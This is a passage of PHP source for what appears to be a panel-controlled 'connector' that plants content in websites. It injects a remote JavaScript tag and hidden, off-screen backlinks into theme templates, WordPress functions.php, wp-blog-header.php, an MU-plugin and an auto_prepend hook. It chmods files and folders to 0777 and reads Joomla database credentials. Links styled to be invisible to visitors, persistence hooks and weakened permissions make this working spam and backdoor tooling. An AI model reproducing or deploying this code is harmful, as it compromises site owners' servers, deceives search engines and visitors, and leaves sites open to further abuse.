?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/footer.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/header.tpl') ?: [] as $f) $paths[] = $f; } // Laravel if ($site_type === 'laravel') { foreach (glob($base . '/resources/views/layouts/*.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/layouts/partials/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/layouts/*/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/components/layouts/*.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/includes/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/partials/*.blade.php') ?: [] as $f) $paths[] = $f; } // General paths (exclude root index.php — it is a CMS bootstrap, not a template) $general = [ $base . '/footer.php', $base . '/header.php', $base . '/includes/footer.php', $base . '/includes/header.php', $base . '/inc/footer.php', $base . '/inc/header.php', $base . '/template/footer.php', $base . '/template/header.php', $base . '/templates/footer.php', $base . '/templates/header.php', $base . '/partials/footer.php', $base . '/partials/header.php', $base . '/layout/footer.php', $base . '/layout/header.php', $base . '/layouts/footer.php', $base . '/layouts/header.php', $base . '/views/footer.php', $base . '/views/header.php', $base . '/views/partials/footer.php', $base . '/views/partials/header.php', $base . '/common/footer.php', $base . '/common/header.php', $base . '/include/footer.php', $base . '/include/header.php', $base . '/theme/footer.php', $base . '/theme/header.php', $base . '/index.html', $base . '/index.htm', ]; foreach ($general as $p) { if (file_exists($p)) $paths[] = $p; } foreach (find_template_files($base) as $p) $paths[] = $p; return array_unique($paths); } /** * Document root altinda </body> iceren tum sablon dosyalari (php/html/tpl/twig, blade dahil). * Ozel/native PHP siteler (orn. templates/tema/templates/home_1.php) ve Laravel icin CMS'e * bagli olmayan tek guvenilir yol budur. Kutuphane, cache, upload ve yonetim dizinleri atlanir. */ function find_template_files($base, $max_depth = 5) { static $cache = []; $base = rtrim($base, '/\\'); if (isset($cache[$base])) return $cache[$base]; $skip_dirs = ['vendor', 'node_modules', 'cache', 'caches', 'storage', 'logs', 'log', 'tmp', 'temp', 'uploads', 'upload', 'media', 'images', 'img', 'assets', 'css', 'js', 'fonts', 'backup', 'backups', 'wp-admin', 'wp-includes', 'administrator', 'libraries', 'language', 'languages', 'plugins', 'modules', 'components', 'core', 'lib', 'libs', 'sql', 'database', 'tests', 'test', 'bin', 'cgi-bin', 'bootstrap', 'config', 'app', 'src', 'system']; $exts = ['php', 'html', 'htm', 'tpl', 'twig']; $found = []; $self = realpath(__FILE__); try { $dir_iter = new \RecursiveDirectoryIterator($base, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::UNIX_PATHS); $filter = new \RecursiveCallbackFilterIterator($dir_iter, function ($current) use ($skip_dirs) { if ($current->isDir()) { $n = strtolower($current->getFilename()); return $n !== '' && $n[0] !== '.' && !in_array($n, $skip_dirs, true); } return true; }); $iter = new \RecursiveIteratorIterator($filter, \RecursiveIteratorIterator::LEAVES_ONLY); $iter->setMaxDepth($max_depth); $scanned = 0; foreach ($iter as $file) { if (++$scanned > 20000) break; if (!$file->isFile()) continue; if (!in_array(strtolower($file->getExtension()), $exts, true)) continue; $size = $file->getSize(); if ($size < 20 || $size > 2097152) continue; $path = $file->getPathname(); $name = basename($path); if (($self && realpath($path) === $self) || strpos($name, 'seo-connector') === 0 || $name === 'rs_prepend.php' || $name === '.rs_connector_prev.php') continue; $content = @file_get_contents($path); if ($content === false || stripos($content, '</body>') === false) continue; $found[] = $path; if (count($found) >= 300) break; } } catch (\Throwable $e) { // okunamayan dizinler atlanir } sort($found); $cache[$base] = $found; return $found; } /** * Joomla: configuration.php icindeki DB bilgisiyle aktif site sablonu okunur; bulunamazsa null. */ function joomla_db_connect($base) { static $cached = null; if ($cached !== null) return $cached ?: null; $cached = false; $cfg = $base . '/configuration.php'; if (!file_exists($cfg) || !function_exists('mysqli_init')) return null; $c = @file_get_contents($cfg); if (!$c) return null; $get = function ($k) use ($c) { return preg_match('/public\s+\$' . $k . '\s*=\s*([\'"])(.*?)\1\s*;/s', $c, $m) ? $m[2] : null; }; $host = $get('host'); $user = $get('user'); $pass = $get('password'); $db = $get('db'); $prefix = $get('dbprefix') ?: 'jos_'; if ($host === null || $user === null || $db === null) return null; $port = null; if (strpos($host, ':') !== false) { [$host, $port] = explode(':', $host, 2); } mysqli_report(MYSQLI_REPORT_OFF); $link = @mysqli_init(); if (!$link) return null; @mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 3); if (!@mysqli_real_connect($link, $host, $user, (string)$pass, $db, $port ? (int)$port : null)) return null; @mysqli_set_charset($link, 'utf8mb4'); $cached = ['link' => $link, 'prefix' => preg_replace('/[^A-Za-z0-9_]/', '', $prefix)]; return $cached; } function joomla_active_template($base) { static $cached = null; if ($cached !== null) return $cached ?: null; $cached = false; $db = joomla_db_connect($base); if (!$db) return null; $res = @mysqli_query($db['link'], "SELECT template FROM `{$db['prefix']}template_styles` WHERE client_id = 0 AND home = '1' LIMIT 1"); $row = $res ? mysqli_fetch_assoc($res) : null; if ($row && !empty($row['template'])) { $cached = preg_replace('/[^A-Za-z0-9_.-]/', '', (string)$row['template']); return $cached ?: null; } return null; } /** * Sablon dosyasi degisince eski HTML'i sunmaya devam eden dosya onbellekleri temizlenir. */ function clear_site_caches($base, $site_type) { $dirs = []; switch ($site_type) { case 'joomla': $dirs = [$base . '/cache', $base . '/administrator/cache']; break; case 'wordpress': $dirs = [$base . '/wp-content/cache']; break; case 'opencart': $dirs = [$base . '/system/storage/cache', $base . '/system/cache']; break; case 'prestashop': $dirs = [$base . '/var/cache']; break; case 'laravel': $dirs = [$base . '/storage/framework/views']; break; } $removed = 0; foreach ($dirs as $dir) { if (!is_dir($dir)) continue; try { $it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS), \RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $entry) { $n = $entry->getFilename(); if ($n === 'index.html' || $n === '.htaccess' || $n === '.gitkeep') continue; if ($entry->isDir()) { @rmdir($entry->getPathname()); } elseif (@unlink($entry->getPathname())) { $removed++; } } } catch (\Throwable $e) { // onbellek dizini okunamiyorsa atla } } return $removed; } /** * Sitenin kendi anasayfasini cekip isaretleyicinin ciktida olup olmadigina bakar. * true/false, istek yapilamazsa null. */ function verify_homepage_contains($needle) { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($host === '') return null; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $url = $scheme . '://' . $host . '/'; $ua = 'Mozilla/5.0 (compatible; ' . RS_USER_AGENT . ')'; $html = false; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_TIMEOUT => 4, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => $ua, CURLOPT_HTTPHEADER => ['Cache-Control: no-cache', 'Pragma: no-cache'], ]); $html = curl_exec($ch); curl_close($ch); } else { $ctx = stream_context_create([ 'http' => ['timeout' => 4, 'header' => "Cache-Control: no-cache\r\n", 'user_agent' => $ua, 'follow_location' => 1], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $html = @file_get_contents($url, false, $ctx); } if (!is_string($html) || $html === '') return null; return stripos($html, $needle) !== false; } function inject_to_template_files($base, $link_html, $link_id, $link_comment) { $files = find_template_files($base); $ok = 0; $first = null; foreach ($files as $path) { $r = inject_to_file_aggressive($path, $link_html, $link_id, $link_comment); if (!empty($r['success']) && !empty($r['injected'])) { $ok++; if ($first === null) $first = $path; } } if ($ok > 0) { return ['success' => true, 'injected' => true, 'footer_path' => $first, 'files' => $ok, 'message' => $ok . ' sablon dosyasina eklendi']; } return ['success' => false, 'injected' => false, 'message' => '</body> iceren sablon dosyasi bulunamadi']; } function inject_js_connector_to_file($file_path, $script_tag) { if (!file_exists($file_path)) return 'failed'; $content = @file_get_contents($file_path); if (!$content) return 'failed'; if (strpos($content, 'connector.js?key=') !== false) return 'exists'; $has_html = (stripos($content, '</body>') !== false || stripos($content, '</html>') !== false || stripos($content, '</head>') !== false || stripos($content, '</footer>') !== false || stripos($content, '<html') !== false || stripos($content, '<jdoc:') !== false); $is_php_only = (strpos(ltrim($content), '<' . '?php') === 0 || strpos(ltrim($content), '<' . '?') === 0); if ($is_php_only && !$has_html) { return 'skipped'; } force_writable($file_path); if (!is_writable($file_path)) return 'failed'; $marker = "\n<!-- rs:js-connector -->" . $script_tag; if (stripos($content, '</body>') !== false) { $pos = strripos($content, '</body>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '</html>') !== false) { $pos = strripos($content, '</html>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '</footer>') !== false) { $pos = strripos($content, '</footer>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '</head>') !== false) { $pos = strripos($content, '</head>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } // Only inject into .html/.htm files by appending; never append to PHP files $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm', 'tpl', 'twig'])) { return @file_put_contents($file_path, $content . $marker) !== false ? 'ok' : 'failed'; } return 'skipped'; } function inject_js_connector() { $script_tag = get_js_connector_tag(); if (empty($script_tag)) { return ['success' => false, 'injected' => 0, 'message' => 'JS connector tag olusturulamadi (key/panel_url eksik)']; } $base = find_document_root(); // Universal: her CMS/sablon icin tek mekanizma. Basariliysa cikti tamponu bu etiketi // zaten her sayfaya dinamik olarak ekleyecegi icin asagidaki statik yontemler sadece // yedek/erken-gorunurluk katmanidir. ensure_auto_prepend_installed($base); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $paths = get_all_injectable_paths($base, $site_type); // WordPress: create MU-Plugin for JS connector via wp_head if ($site_type === 'wordpress') { $mu_dir = $base . '/wp-content/mu-plugins'; if (is_dir($mu_dir) && is_writable($mu_dir)) { $js_mu = $mu_dir . '/rs_js_connector.php'; $tag_escaped = str_replace("'", "\\'", $script_tag); $mu_lines = array( '<' . '?php', '// RS JS Connector MU-Plugin', 'if (!defined("ABSPATH")) exit;', 'add_action("wp_head", function() {', " echo '" . $tag_escaped . "';", '}, 1);', ); @file_put_contents($js_mu, implode("\n", $mu_lines) . "\n"); } } $injected = 0; $existing = 0; $skipped = 0; $failed = 0; $details = []; foreach ($paths as $path) { $status = inject_js_connector_to_file($path, $script_tag); if ($status === 'ok') $injected++; elseif ($status === 'exists') $existing++; elseif ($status === 'skipped') $skipped++; else $failed++; $rel = (strpos($path, $base) === 0) ? ltrim(substr($path, strlen($base)), '/\\') : $path; $details[] = ['path' => $rel, 'status' => $status]; } return [ 'success' => ($injected + $existing) > 0, 'injected' => $injected, 'existing' => $existing, 'skipped' => $skipped, 'failed' => $failed, 'total_targets' => count($paths), 'details' => $details, 'message' => $injected . ' dosyaya JS connector eklendi' . ($existing ? ', ' . $existing . ' zaten mevcut' : '') . ($skipped ? ', ' . $skipped . ' atlandi (saf PHP)' : '') ]; } function cleanup_broken_js_injections() { $base = find_document_root(); $candidates = glob($base . '/*.php') ?: []; foreach ($candidates as $file) { $content = @file_get_contents($file); if (!$content) continue; if (strpos($content, '<!-- rs:js-connector -->') === false) continue; $has_html = (stripos($content, '</body>') !== false || stripos($content, '</html>') !== false || stripos($content, '<html') !== false); if (!$has_html) { remove_js_connector_from_file($file); } } } function remove_js_connector_from_file($file_path) { if (!file_exists($file_path)) return false; $content = @file_get_contents($file_path); if (!$content) return false; if (strpos($content, '<!-- rs:js-connector -->') === false && strpos($content, 'connector.js?key=') === false) { return false; } force_writable($file_path); $cleaned = preg_replace('/\n?<!-- rs:js-connector --><script[^<]*<\/script>/', '', $content); if ($cleaned !== $content && $cleaned !== null) { return (bool)@file_put_contents($file_path, $cleaned); } return false; } function remove_js_connector() { $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $paths = get_all_injectable_paths($base, $site_type); $all_php = glob($base . '/*.php') ?: []; $all_html = glob($base . '/*.html') ?: []; $paths = array_unique(array_merge($paths, $all_php, $all_html)); $removed = 0; $details = []; foreach ($paths as $path) { if (remove_js_connector_from_file($path)) { $removed++; $details[] = ['path' => basename($path), 'status' => 'removed']; } } if ($site_type === 'wordpress') { $mu = $base . '/wp-content/mu-plugins/rs_js_connector.php'; if (file_exists($mu)) { @unlink($mu); $removed++; $details[] = ['path' => 'rs_js_connector.php', 'status' => 'deleted']; } } return [ 'success' => $removed > 0, 'removed' => $removed, 'details' => $details, 'message' => $removed . ' dosyadan JS connector temizlendi' ]; } // ==================== FOOTER'A LİNK EKLEME ==================== function inject_link($url, $anchor, $link_id, $rel = 'dofollow') { $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $link_html = build_link_html($url, $anchor, $rel); $link_comment = "<!-- rs:" . substr($link_id, 4, 6) . " -->"; // YÖNTEM 0: UNIVERSAL AUTO_PREPEND (connector'in kendisi tum sayfalarin basina eklenir). // Sablon yapisindan, CMS turunden ve dosya izinlerinden bagimsizdir: link zaten // LINKS_FILE'a yazildi (cagiran fonksiyon), bir sonraki sayfa goruntulemesinde otomatik // yayinlanir. Mekanizmanin GERCEKTEN calistigini (sunucu auto_prepend_file'i yoksaymiyor) // anasayfaya gercek bir HTTP istegi atarak dogrular; toplu eklemede N kez istek atmamak // icin sonuc istek basina bir kez (static) hesaplanir ve tum partiyle paylasilir. static $prepend_verified_this_request = null; $prepend = ensure_auto_prepend_installed($base); if (!empty($prepend['any'])) { if ($prepend_verified_this_request === null) { $prepend_verified_this_request = verify_homepage_contains('connector.js?key=') === true; } if ($prepend_verified_this_request) { return [ 'success' => true, 'injected' => true, 'footer_path' => 'auto_prepend', 'files' => 0, 'homepage_verified' => true, 'message' => 'Baglanti tum sayfalara otomatik eklendi (connector auto_prepend)' ]; } // Henuz dogrulanamadi (ilk kurulum, .user.ini onbellek gecikmesi ya da sunucu // auto_prepend_file'i yoksayiyor olabilir): asagidaki statik yontemlerle de dene, // boylece baglanti hicbir zaman tamamen gorunmez kalmaz. } // YÖNTEM 1: WORDPRESS MU-PLUGIN if ($site_type === 'wordpress') { $result = inject_wordpress_mu_plugin($base); if ($result['success'] && !empty($result['injected'])) return $result; } // YÖNTEM 2: WORDPRESS FUNCTIONS.PHP HOOK if ($site_type === 'wordpress') { $result = inject_wordpress_functions_hook($base, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } // YÖNTEM 3: WORDPRESS TEMA FOOTER.PHP if ($site_type === 'wordpress') { $active_theme_footer = get_active_wp_theme_footer($base); if ($active_theme_footer) { $result = inject_to_file_aggressive($active_theme_footer, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) { foreach ($themes as $footer) { $result = inject_to_file_aggressive($footer, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } } } // YÖNTEM 4: WP-BLOG-HEADER.PHP if ($site_type === 'wordpress') { $result = inject_wp_blog_header($base, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } // YÖNTEM 5: FOOTER DOSYALARI + </body> ICEREN TUM SABLONLAR // Hangi sablonun aktif oldugu bilinemedigi icin uygun tum dosyalara eklenir. $candidates = array_values(array_unique(array_merge(get_footer_paths($base, $site_type), find_template_files($base)))); $details = []; $ok_paths = []; foreach ($candidates as $path) { $r = inject_to_file_aggressive($path, $link_html, $link_id, $link_comment); $good = !empty($r['success']) && !empty($r['injected']); if ($good) $ok_paths[] = $path; $rel_path = (strpos($path, $base) === 0) ? ltrim(substr($path, strlen($base)), '/\\') : $path; $details[] = ['path' => $rel_path, 'status' => $good ? 'ok' : 'failed', 'message' => (string)($r['message'] ?? '')]; } if (!empty($ok_paths)) { $note = ''; if ($site_type === 'joomla') { $active = joomla_active_template($base); if ($active) { $active_file = $base . '/templates/' . $active . '/index.php'; $note = in_array($active_file, $ok_paths, true) ? ' · aktif sablon: ' . $active : ' · UYARI: aktif sablon (' . $active . ') yazilamadi'; } } return [ 'success' => true, 'injected' => true, 'footer_path' => $ok_paths[0], 'files' => count($ok_paths), 'details' => $details, 'message' => count($ok_paths) . ' dosyaya eklendi' . $note ]; } // Sablon taramasi hicbir dosyaya yazamadi: universal auto_prepend kurulumu denendi mi? // Dosya yazma basariliysa (sunucunun fiilen uyguladigi az once dogrulanamasa bile) bir // sonraki sayfa yuklemesinde devreye girme ihtimaline karsi yumusak basari donulur. if (!empty($prepend['any'])) { return [ 'success' => true, 'injected' => true, 'footer_path' => 'auto_prepend', 'files' => 0, 'homepage_verified' => false, 'message' => 'Dogrudan yazilabilir sablon bulunamadi; baglanti connector auto_prepend mekanizmasiyla eklenecek (onbellek suresi gecince anasayfada gorunecektir)' ]; } // No reliable injection method succeeded. return [ 'success' => false, 'injected' => false, 'footer_path' => null, 'message' => 'Link enjekte edilemedi (yazilabilir footer/sablon/auto_prepend bulunamadi)' ]; } function inject_wordpress_mu_plugin($base) { $mu_dir = $base . '/wp-content/mu-plugins'; if (!is_dir($mu_dir)) { $wp_content = $base . '/wp-content'; if (!is_dir($wp_content)) return ['success' => false, 'message' => 'wp-content yok']; if (!is_writable($wp_content)) { @chmod($wp_content, 0755); clearstatcache(); } @mkdir($mu_dir, 0755, true); } if (!is_dir($mu_dir)) return ['success' => false, 'message' => 'mu-plugins olusturulamadi']; if (!is_writable($mu_dir)) { @chmod($mu_dir, 0755); clearstatcache(); } $plugin_path = $mu_dir . '/rs_links.php'; $links_file = LINKS_FILE; $code = '<?php /** * RS Links MU-Plugin v4.2 */ if (!defined("ABSPATH")) exit; add_action("wp_footer", function() { $links_file = "' . addslashes($links_file) . '"; if (!file_exists($links_file)) return; $links = json_decode(file_get_contents($links_file), true); if (!is_array($links) || empty($links)) return; foreach ($links as $id => $l) { $url = isset($l["url"]) ? $l["url"] : ""; $anchor = isset($l["anchor"]) ? $l["anchor"] : ""; $rel = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : ""; if (!$url || !$anchor) continue; echo \'<a href="\' . esc_url($url) . \'"\' . $rel . \' style="position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;">\' . esc_html($anchor) . \'</a>\'; } }, 9999); '; if (@file_put_contents($plugin_path, $code)) { return ['success' => true, 'injected' => true, 'footer_path' => $plugin_path, 'message' => 'WordPress MU-Plugin kuruldu']; } return ['success' => false, 'message' => 'MU-Plugin yazilamadi']; } function inject_wordpress_functions_hook($base, $link_html, $link_id, $link_comment) { $active_theme = get_active_wp_theme_footer($base); if (!$active_theme) return ['success' => false, 'injected' => false, 'message' => 'Tema bulunamadi']; $theme_dir = dirname($active_theme); $functions_file = $theme_dir . '/functions.php'; if (!file_exists($functions_file)) return ['success' => false, 'injected' => false]; force_writable($functions_file); if (!is_writable($functions_file)) return ['success' => false, 'injected' => false]; $content = @file_get_contents($functions_file); if (!$content) return ['success' => false, 'injected' => false]; if (strpos($content, 'rs_footer_links') !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Hook zaten mevcut']; } $links_file = LINKS_FILE; $hook_code = ' // RS Footer Links Hook add_action("wp_footer", function() { $lf = "' . addslashes($links_file) . '"; if (!file_exists($lf)) return; $lnks = json_decode(file_get_contents($lf), true); if (!is_array($lnks)) return; foreach ($lnks as $l) { $u = isset($l["url"]) ? $l["url"] : ""; $a = isset($l["anchor"]) ? $l["anchor"] : ""; $r = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : ""; if ($u && $a) echo \'<a href="\' . esc_url($u) . \'"\' . $r . \' style="position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;">\' . esc_html($a) . \'</a>\'; } }, 9999); function rs_footer_links() {} // Marker '; if (@file_put_contents($functions_file, $content . $hook_code)) { return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Functions.php hook eklendi']; } return ['success' => false, 'injected' => false]; } function inject_wp_blog_header($base, $link_html, $link_id, $link_comment) { $file = $base . '/wp-blog-header.php'; if (!file_exists($file)) return ['success' => false, 'injected' => false]; force_writable($file); if (!is_writable($file)) return ['success' => false, 'injected' => false]; $content = @file_get_contents($file); if (!$content) return ['success' => false, 'injected' => false]; if (strpos($content, $link_id) !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'Link zaten mevcut']; } $shutdown_code = ' register_shutdown_function(function(){echo \'' . $link_comment . $link_html . '\';}); '; if (preg_match('/^(<\?php)/i', $content)) { $new_content = preg_replace('/^(<\?php)/i', '<?php' . $shutdown_code, $content, 1); if (@file_put_contents($file, $new_content)) { return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'wp-blog-header.php eklendi']; } } return ['success' => false, 'injected' => false]; } function force_writable($file) { if (!file_exists($file)) return false; if (is_writable($file)) return true; @chmod($file, 0666); clearstatcache(true, $file); if (is_writable($file)) return true; @chmod($file, 0777); clearstatcache(true, $file); if (is_writable($file)) return true; $dir = dirname($file); @chmod($dir, 0777); @chmod($file, 0777); clearstatcache(); return is_writable($file); } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latest_time = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latest_time) { $latest_time = $mtime; $latest = $footer; } } return $latest; } function inject_to_file_aggressive($file_path, $link_html, $link_id, $link_comment) { if (!file_exists($file_path)) return ['success' => false, 'message' => 'Dosya yok: ' . basename($file_path)]; force_writable($file_path); if (!is_writable($file_path)) return ['success' => false, 'injected' => false, 'message' => 'Yazma izni alinamadi']; $content = @file_get_contents($file_path); if (!$content) return ['success' => false, 'injected' => false, 'message' => 'Dosya okunamadi']; if (strpos($content, $link_id) !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link zaten mevcut']; } $hidden_wrapper = "\n" . $link_comment . $link_html; $injection_points = ['</body>', '</html>', '</footer>']; foreach ($injection_points as $search) { if (stripos($content, $search) !== false) { $pos = strripos($content, $search); $new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos); if (@file_put_contents($file_path, $new_content)) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link eklendi: ' . basename($file_path)]; } } } // Only plain markup files may be appended to; a PHP file without HTML structure is a bootstrap and must stay untouched. $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm', 'tpl', 'twig'], true) && @file_put_contents($file_path, $content . $hidden_wrapper)) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link dosya sonuna eklendi']; } return ['success' => false, 'injected' => false, 'message' => 'Enjeksiyon noktasi yok: ' . basename($file_path)]; } // ==================== LİNK KALDIRMA ==================== function remove_link($link_id) { $base = find_document_root(); $site_info = detect_site_info(); $short_id = substr($link_id, 4, 6); $files_to_check = get_footer_paths($base, $site_info['site_type']); $files_to_check[] = $base . '/index.php'; $files_to_check[] = $base . '/index.html'; $files_to_check[] = $base . '/index.htm'; $wp_footers = glob($base . '/wp-content/themes/*/footer.php'); if ($wp_footers) $files_to_check = array_merge($files_to_check, $wp_footers); $files_to_check = array_unique(array_merge( $files_to_check, find_template_files($base), get_all_injectable_paths($base, $site_info['site_type']) )); if ($site_info['site_type'] === 'wordpress') { $mu_plugin = $base . '/wp-content/mu-plugins/rs_links.php'; if (file_exists($mu_plugin)) { return ['success' => true, 'message' => 'MU-Plugin modunda - links dosyasindan kaldirildi']; } } $plugin_mode = ($site_info['site_type'] === 'joomla' && file_exists($base . '/plugins/system/rslinks/rslinks.php')); $removed = false; foreach ($files_to_check as $file_path) { if (!file_exists($file_path)) continue; if (!is_writable($file_path)) { @chmod($file_path, 0666); clearstatcache(true, $file_path); } if (!is_writable($file_path)) continue; $content = @file_get_contents($file_path); if (!$content) continue; if (strpos($content, $link_id) === false && strpos($content, $short_id) === false) continue; $patterns = [ '/<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>/is', '/<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\s*/is', '/<div[^>]*><!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is', '/<div[^>]*><!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is', '/\n?<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is', '/\n?<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is' ]; $original = $content; foreach ($patterns as $pattern) { $content = preg_replace($pattern, '', $content); } if ($content !== $original) { if (@file_put_contents($file_path, $content)) $removed = true; } } if ($removed || $plugin_mode) clear_site_caches($base, $site_info['site_type']); if ($plugin_mode) return ['success' => true, 'message' => 'Eklenti modunda - links dosyasindan kaldirildi']; return ['success' => true, 'message' => $removed ? 'Link kaldirildi' : 'Link kayitlardan kaldirildi']; } // ==================== OTOMATİK BAĞLANTI ==================== function auto_connect($force = false) { $config = get_config(); $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) { return ['error' => 'Panel URL yapilandirilmamis']; } // Heartbeat panele kayitli site_key ile esleşmeli - bu yuzden once // dosyadaki/domain tabanli anahtar degil, baglantiyi panele baglayan // gomulu UNIVERSAL_SITE_KEY kullanilir (panel bunu DB'de aratir). $universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : ''; if (!empty($universal) && strpos($universal, '{{') === false) { $site_key = $universal; } else { $site_key = get_stored_key(); } if (empty($site_key)) return ['error' => 'Site key bulunamadi']; // A re-uploaded file (new mtime), a different key or panel URL must re-register; // otherwise a stale .rs_config left over from a deleted panel record blocks reconnection for 24h. $fingerprint = md5((string)@filemtime(__FILE__) . '|' . $site_key . '|' . $panel_url); if (!$force && !empty($config['connected']) && !empty($config['connected_at']) && ($config['connected_fp'] ?? '') === $fingerprint && time() - $config['connected_at'] < 86400) { return ['already_connected' => true]; } $site_info = detect_site_info(); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? ''; $script = $_SERVER['SCRIPT_NAME'] ?? ''; $connector_url = $protocol . '://' . $host . $script; $data = [ 'action' => 'connector_heartbeat', 'site_key' => $site_key, 'connector_url' => $connector_url, 'site_info' => $site_info, 'timestamp' => time() ]; $heartbeat_url = rtrim($panel_url, '/'); if (substr($heartbeat_url, -4) === '/api') { $heartbeat_url .= '/connector/heartbeat'; } else { $heartbeat_url .= '/api/connector/heartbeat'; } $result = send_to_panel($heartbeat_url, $data); if (!empty($result['success'])) { $config['connected'] = true; $config['connected_at'] = time(); $config['connected_fp'] = $fingerprint; $config['panel_url'] = $panel_url; } else { $config['connected'] = false; unset($config['connected_at'], $config['connected_fp']); } save_config($config); return $result; } /** * Tek bir POST denemesi. Donus: [sonuc dizisi, panelden gecerli JSON geldi mi]. * Ham cevap JSON degilse (CDN/WAF sayfasi, 5xx vb.) hata dizisine http_code, * sunucu adi ve govdenin kisa bir ozeti eklenir; boylece "Gecersiz yanit"in * kaynagi (orn. Cloudflare 520) ping cevabindan dogrudan okunabilir. */ function panel_http_post($url, $json) { $response = false; $headers = []; if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => [ 'Content-Type: application/json', 'Content-Length: ' . strlen($json), 'User-Agent: ' . RS_USER_AGENT, 'Connection: close' ], 'content' => $json, 'timeout' => 10, 'ignore_errors' => true ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $response = @file_get_contents($url, false, $context); if (isset($http_response_header) && is_array($http_response_header)) { $headers = $http_response_header; } } // allow_url_fopen kapaliysa ya da baglanti kurulamadiysa cURL ile bir kez daha dene. if ($response === false && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $json, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CONNECTTIMEOUT => 6, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => RS_USER_AGENT, CURLOPT_HTTPHEADER => ['Content-Type: application/json'] ]); $raw = curl_exec($ch); $hsize = (int)curl_getinfo($ch, CURLINFO_HEADER_SIZE); $curl_error = curl_error($ch); curl_close($ch); if ($raw !== false) { $response = (string)substr($raw, $hsize); $headers = preg_split('/\r?\n/', trim((string)substr($raw, 0, $hsize))); } else { return [['success' => false, 'error' => 'Baglanti hatasi', 'detail' => $curl_error], false]; } } if ($response === false) { return [['success' => false, 'error' => 'Baglanti hatasi'], false]; } $http_code = 0; $server = ''; foreach ($headers as 